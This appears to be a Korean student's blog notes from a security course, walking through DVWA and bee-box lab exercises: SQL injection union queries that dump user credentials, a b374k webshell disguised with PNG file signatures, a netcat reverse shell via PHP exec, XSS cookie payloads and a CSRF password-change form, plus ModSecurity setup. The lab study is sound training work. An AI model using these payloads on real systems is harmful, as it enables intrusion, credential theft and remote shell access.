본문 바로가기

Rookies 9기/애플리케이션 보안

애플리케이션 보안 7일차

728x90

DVWA 실습

• sql injection

모든 사용자의 ID와 PW를 알아내기

' or 1=1 #

sql 로직을 사용해서 sql injection 공격이 실행이 되는걸 확인했다.

' union select 1,2#

컬럼의 개수를 확인을 하기위해 union문을 사용하여 한 결과 1,2컬럼이 있다는걸 확인 했다.

' union select database(),version() #

알아낸 컬럼의 개수를 사용하여 DB명, 버전정보를 확인 했다.

' union select table_name,2 from information_schema.tables where table_schema='dvwa'#

알아낸 DB명인 dvwa에 있는 테이블명은 guestbook, users 테이블이 있다.

' union select column_name,null from information_schema.columns where table_schema='dvwa' and table_name='users'#

dvwa 데이터베이스의 users테이블의 컬럼의 이름을 확인을 하였다.

' union select user,password from dvwa.users#

users 컬럼에서 user, password를 추출을 하였다.

 

• File Upload ( high )

File Upload

php 는 불가능해서 png로 확장자를 바꿨지만 업로드가 안된다..! ( 확장자만 보는것은 아니다) --> file Signature를 확인하기

※ View Source 소스를 보면
strtolower : string을 모두 소문자로 변환하는 함수 ---> 대소문자 조작 불가
확장자 검증 : jpg또는 jpeg 또는 png 만 업로드 가능
AND 조건으로 100kbyes 이하만 업로드 가능

 

File Signature

‣ 파일의 정체성을 나타내는 부분

‣ 파일의 맨 앞부분에 특정한 표시를한다 => 운영체제, Application에서 읽어들여서 파일이 어떤 파일인가 확인한다.

‣ Magic Number 라고도 한다.

 

※ HeD.exe (Hex editor : 헥스 편집기)

PNG의 파일 시그니처

PNG : 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 

JPG의 파일 시그니처

JPG : FF D8 FF E0 00 10 4A 46 49 46 ---> FF D8로 시작해서 FF D9로 끝난다.

EXE의 파일 시그니처

EXE : 4D 5A  ----> MZ(4D 5A)가 없으면 윈도우에서 파일을 실행할 수 없다.

pptx, docx, xlsx, apk, zip 파일의 시그니처

PPTX, DOCX, XLSX, APK, ZIP 파일 : 50 4B 03 04 

 

WebShell

확장자가 php 파일의 webshell을 png 확장자로 수정을 해준다.

b374k-2.8.png 파일

php파일의 시그니처로 시작되는 부분 앞에 png 파일의 시그니처를 넣어준다.

php시그니처 파일 수정

png 파일의 시그니처 코드인 89 50 4E 47 0D 1A 0A 를 넣어준다.

※ png 파일의 시그니처 89 50 4E 47 만 넣어주면 안됨( OS에서 인식하는 부분이 8bytes이기 때문이다.)

 

업로드 화면

수정을 한 후 업로드를 하니까 파일이 올라갔다. 웹 쉘 파일을 실행을 해보자.

웹쉘 실행

웹쉘을 실행하려고 들어갔지만 png 파일이라서 실행이 안된다. 

즉, 업로드는 되었지만 png 파일이기 때문에 실행이 안되므로 php 확장자로 변경을 해보자.

php 파일로 확장자 바꾸기

command Injection이 가능한 페이지로 들어가 리눅스 명령어인

; mv  ../../hackable/uploads/b374k-2.8.png    ../../hackable/uploads/b374k-2.8.php

http://192.168.5.128/dvwa/hackable/uploads/b374k-2.8.php 를 사용해 png 파일을 php 확장자로 변경을 해주자.

웹쉘 실행

확장자를 php 파일로 바꾼후 실행 결과 웹쉘이 실행한걸 볼 수 있다.

 

웹 방화벽 

• Modsecurity

Modsecurity

Modescurity는 Apache 웹 서버를 위한 오픈 소스 웹 방화벽으로 PHP Injection 공격 등 Apache 웹 서버의 주요 공격을 차단하는 기능을 한다.

• Modsecurity 설치 방법
sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo systemctl restart apache2
sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf //뒤에 붙은 -recommended 제거 sudo apt install vim sudo vi /etc/modsecurity/modsecurity.conf

***** modsecurity.conf 변경 내용 *****
SecRuleEngine DetectionOnly --> SecRuleEngine On
SecAuditLogParts ABDEFHIJZ --> SecAuditLogParts ABCEFHJKZ
:wq //저장하고 종료

sudo systemctl restart apache2

• Modescurity Rules 다운로드
sudo wget https://github.com/coreruleset/coreruleset/archive/v3.3.0.tar.gz
sudo tar xvf v3.3.0.tar.gz
sudo mkdir /etc/apache2/modsecurity-crs/
sudo mv coreruleset-3.3.0/ /etc/apache2/modsecurity-crs/ cd /etc/apache2/modsecurity-crs/coreruleset-3.3.0/
sudo mv crs-setup.conf.example crs-setup.conf // example 제거

 

Modescurity 설정( security2.conf 설정)

• Modescurity 설정
sudo vi /etc/apache2/mods-enabled/security2.conf // 9번 라인은 변경할 필요 없음, 12~13번 라인 변경

• 웹 방화벽 설치후 실습 

command Injection

웹 방화벽 Modseurtiy이 작동이 되는지 command Injection 실습을 해보자

웹 방화벽 실습

실행 결과 방화벽이 작동이 되어 실행이 안되는걸 확인할 수 있다.

 

Bee-box 실습

• PHP Code Injection

웹브라우저에서 PHP 코드 입력을 정상적으로 인식하여 내부에 있는 PHP 코드를 실행하는 기법이다.

message 버튼을 눌렀을때 test 문자가 보인다.

URL을 보면 message=test 라는 파라미터가 노출이 되어있다는걸 확인 할 수 있다.

Hello 넣어보기

mssage=test 부분을 hello로 수정을 하니까 hello라는 문구가 나오는걸 볼 수 있다.

노출된 파라미터에 PHP 함수를 사용하여 리눅스 명령어를 넣어보자

PHP 함수 사용

exec함수를 사용해 리눅스 명령어인 pwd 를 실행한 결과 현제 디렉토리 경로가 나오는걸 볼 수 있다.

PHP에 리눅스 실행 함수
exec("pwd")
shell_exec("pwd")
system("pwd")
passthru("pwd")

• reverse Connection(PHP 함수 사용)

칼리리눅스(Server 역할)

칼리 리눅스에서 netcat을 사용하여 연결  포트를 열어준다.

nc 192.168.5.129 -e /bin/sh (Client 역할)

주소창에 exec("nc 192.168.5.129 5678 -e /bin/sh 입력을 해준다.

※ 윈도우가 Victim이면 -e cmd.exe 리눅스가 Victim이면 -e /bin/sh

결과 화면

칼리 리눅스에 웹브라우저가 연결이 된 걸 확인할 수 있다.

• reverse Connection(OS Command Injection)

OS Command Injection( Server 역할)

OS Command Injection에서도 reverse Connection이 가능한지 실습을 해보자.

칼리 리눅스(Client 역할)

실행 결과 칼리리눅스에서도 웹 브라우저에 연결을 할 수 있는걸 확인할 수 있다.

 

• SQL Injection (GET/Select)

서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를 획득할 수 있는 취약점이다.

URL 파라미터

movie 변수로 DB를 요청을 한다.

SQL 인젝션인 http://192.168.5.130/bWAPP/sqli_2.php?movie=11 union select 1,login,password,4,5,6,7 from users 명령어로 users 테이블의 login,password 컬럼의 내용을 확인 할 수 있다.

 

• XSS - Reflected (GET)

자바 스크립트에 의해서 쿠키, 세션정보를 획득하거나 비정상적인 동작을 발생시키는 취약점이다.

<scrtipt>alert("Hello")</script>

자바 스크립트를 First name 입력에 작성을 하고 Go 버튼을 누른다.

결과 화면

실행 결과 스크립트가 실행이 되면서 Hello 메시지가 나온다.

 

• XSS - Reflected (GET) - Medium

Medium 단계에서는 <scrtipt>alert("Hello")</script> 실행이 되지가 않는다. 소스코드를 확인해 보자.

 

xss_get.php

xss_check_4()를 사용을 하고 있다. xss_check_4()가 무엇인지 확인을 하기위해 functions_external.php에서 확인을 해보자.

functions_external.php

functions_external.php 파일에 보안 수준에 따른 설정이 되어 있다.

xss_check_4는 addslashes( )함수를 사용하고 있다.

 

※ addslashes 함수는 ', ", \, NUL 앞에 \를 붙여서 Escape처리를 하고 있다.

     (Escape처리는 특수문자가 기능을 하지 못하도록 하는 것이다. --> 특수문자의 모양 그대로 출력)

 

<script>alert('good') </script>에서는 싱글쿼터가 사용이 된다. 즉, 싱글쿼터를 사용하지 않는 <script>alert(0000)</script>을 입력해보자

정상적으로 실행이 된다.

쿠키값 출력

<script>alert(document.cookie)</script> 을 사용하여 쿠키값을 출력해보자.

쿠키값 출력

자기 쿠키값이 출력이 되었다.

shielders를 출력하려면?

shielders를 출력하려면? String.fromCharCode() 함수를 사용하여 <script>alert(String.fromCharCode(115,104,105,101,108,100,101,114,115))</script> 을 실행해 보자

 

shielders

shielders라는 문구가 출력이 되었다.

 

• CSRF (Change Password)

CSRF(Cross Site Request Forgery) : 스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹서버에게 어떤 요청을 보내는 공격이다.

‣ 자동 댓글달기: 사용자가 게시판 글을 읽기만 했는데 스크립트가 실행되면서 자동으로 댓글이 달리거나 좋아요가 눌러진다.

‣ 패스워드 변경 : 사용자의 패스워드를 변경하는 시도 ---> 로그인이 안되는 문제 

‣ 자동으로 탈퇴요청 보내기

비밀번호를 바꿀수 있는 페이지이다.

개발자 도구

개발자 도구에 들어가 <from> ~~ </from> 부분을 복사를 한다.

    <form action="http://192.168.5.130/bWAPP/csrf_1.php" method="GET">
        
        <p><label for="password_new">New password:</label><br />
        <input type="text" id="password_new" name="password_new" value=""></p>

        <p><label for="password_conf">Re-type new password:</label><br />
        <input type="text" id="password_conf" name="password_conf" value=""></p>  

        <button type="submit" name="action" value="change">Change</button>   

    </form>

 

메모장

메모장에 복사한 소스코드를 넣고, action값에 URL을 복사해서 수정을 하고 input type을 text로 변경을 한 후 html 확장자로 저장을 한다.

웹브라우저

만들어진 웹 브라우저를 클릭을 한다.(연결 프로그램을  internet explorer 로 연다)

비밀번호 수정

비밀번호를 원하는 걸로 수정을 한다.

비밀번호 변경

비밀번호가 변경이 되었다는걸 확인할 수 있다.